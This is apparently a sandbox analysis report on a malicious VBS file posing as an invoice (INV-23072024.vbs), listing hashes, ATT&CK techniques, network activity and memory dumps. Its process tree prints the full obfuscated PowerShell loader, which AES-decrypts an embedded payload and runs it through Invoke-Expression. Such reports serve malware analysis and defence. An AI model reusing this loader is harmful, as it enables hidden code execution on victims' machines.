b7db18ca4db36e201c612c229b392900577840e5d927f741fabf5bef839b03f6

General

Target

INV-23072024.vbs
Size

24KB
MD5

34a34dad70b083609afdec67aa301d25
SHA1

9d732c12eec2e360029fd11cf5fb7ce53e46aeac
SHA256

b7db18ca4db36e201c612c229b392900577840e5d927f741fabf5bef839b03f6
SHA512

0c90b881faae80756ebf443f90b2643e16858b2e285832f7b88d71dea96c6f7b80ef8f7966a6972d2e767ee92be69094e98778730db58de71348b315fd894ea6
SSDEEP

192:qJpGsTSprrrTkrLTUJFrrMT+TGr7fTbJRr14DJzAWA2tDnHJLJIJ0JdJSJ4J6JLc:aIPIwQy8b1MtDnN

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	2388	WScript.exe
7	2388	WScript.exe
9	2736	powershell.exe
10	2736	powershell.exe
11	2736	powershell.exe
12	2736	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 2736	2388	WScript.exe	31
PID 2388 wrote to memory of 2736	2388	WScript.exe	31
PID 2388 wrote to memory of 2736	2388	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INV-23072024.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI20724724405927210805709614137553CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI1Fh22ms+KvpEh1IJ+72lSZDMdqRlp+HepTXQoQcG61YiB+OwKd2JLmXgv0LhnCskRQdm3mKIIoUnPz9JPDeACmxvlGb+mw+fABxwCOhiLARltdO7oCUmv8EdYKbHFu/0V48mjJ0tfVSi5atJ4DN0yU0Rw3vdK6eKKD8tRTqKMhpmduUKF4mNKu6/fqIhjA7PUspiyhn52joH1bgfYvLFloyfih/ae6r1GhZLGNdfn7GX1hHx2ifaImJGSllfmuK1QBe73y89HIVPcDXb5nyKHWqO6GRzd+M4OmHXLthjp99hHl+/+AoyOGcL0NuSVS5vPzJTxkWMayXuszqNtOobBFzoZZITTMrdEWsbw2h1bqVJAsX5Ipx/1ooceJ8WIjs+Kdtu50/s5Ie/NmBrwPj5/TtosZtBovOmWYSMixoqkr1RmyvT7FSAqZRd0I57aUFmafb11W+AFzdsFM9hfxsaDvSMVtbIQMvwy4cOnUnx+OYhz4Kp7gEYfJJ2FcLGkcVYIdS1vCLq9wPucmlLLBuQEf+BIa+L749qxL9ybvVllP8SNVm1KDP2ca9xqsn6fY7ISCY3ttusiNRiuyZNQyO4D0cuM1yYVXw1dfL8xMbbTz9eVl2pctz34e3TFWwQPQnbwf93RPudKR3o/n6mQ8fUvXTGgSaZQJfoDvHGEjoZjrJ6/zpHmrP5P89YvuCciRFQxG4PO7aQFIyvuPLAKSUJzs/l6UNgPdsNTnZoSKxXHIBDULZclKXwfl7rFYpF72KKQuL92c6Lps4NbX5FleyLaOYe9sPwYz5x91JyFNK52UMpwaAIGathvwFNy1DquBzEEtY2MafTKRGCcGjmRkzrGf7xralpypWX6BfhymXTsPVfMxcKWsizbQC5M6AhsyT3lfjH9ezzYmGaS7wAHctiQLxpYMtfaY4npUVn8j+rqDsvUF0zMSPrdiZ8+HUcFb/pISo4qBcOYpsWd1Tz/2GJdRcR1VF2d+VF8rJE+uQ8d8lmxr/zwzoiFO9DiBgnd6TNB56Cy2NtILU1i0t6UczU+4Irba048MbrjeFbR/c5UDi3Q5CYp4uYX5e8NJExmaD126k6Ipk/AgXLjBf2ZaAHsdgYhkaUpizKShT1SxHLWB+mWEdKYncjjlCGqWonMd+yS5I4SNEmQh/DahXhyuGLrN/9H2KsWr/BhQwhkEIKQqwv7xCWOkHVtarw3mBcJMvEI552QEbKCI4zJo0rknLkEmvnIJpq4IoQHkGWXSLUfU/ScqQpC7Zra/KH1eS9LyF/qWWgSJywj5R0MKd5RoE2/4M4ulvkLN/VWEG48cDEPKvOESM/0t9Bh6EwiwGkFiEqJTP71OYXZE23acyTBcW4CgakSofXEnMzvnv0F/OEwLXQpr9LGT/QyC10MwHCpXFsddG9IAUapxS6wEJPii4/kKt1nzsn2DKKu9eNXPIHcaMzIsX87cYZ2BEH1yTBpg0lG+qfbobEKEHzWgg7eD/IMJGXe9EprtT6BI7onzOzLd+wG6TpZRWrj8Bgsiy/5RFtO405jcpO+/830QGe6fEzCHdCIVsqtJHiinRU20bNQm3/apxTfy7Rh62KggiLrSzFFFgSPLFxieGZyggZoTdPlehkk35oSchFh8VAVUJo6eUmgjUr0hVKcsJVvBUKtOe+nIXEUzwkGmORl2v+qUXuhGoVPev4xPOOTcP6pHpOOaWALM6uPoK2OoXmD1ekpfC7ijWhqG/RFQLEtZMQVO6fEX/AGADGYGnLGOPvWGy6abKPVZXB7gxvIlEQeBJJHZqopb7z8LQps/DpzjG22Jivm46aheO/UpcgcLzPExaPTtcjNApdkFlP1nczf5cIsnqjuXLZUdruPA1ZgR7UxAj8ZZRPfD8hgsgR8675ZcMdkzqf4gAyuO6PuPNeFxshX1msCjr+t9H+mD0FRUILjquzcwxTYEqqIBpG3PsvaYWHw17gH8nQu/CZAF+lRm3cGTyNCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GA43GQEJ\paste1[1].txt

Filesize
156B

MD5
ad6c37ef980373e9bcbd14810fad34bc

SHA1
9c061a1b3608b7c7f1db7cd06c8246913ee11bda

SHA256
ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c

SHA512
30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f

Download Submit
memory/2736-23-0x000007FEF5AAE000-0x000007FEF5AAF000-memory.dmp

Filesize
4KB

Download
memory/2736-24-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2736-25-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2736-26-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-27-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-28-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-29-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-30-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-31-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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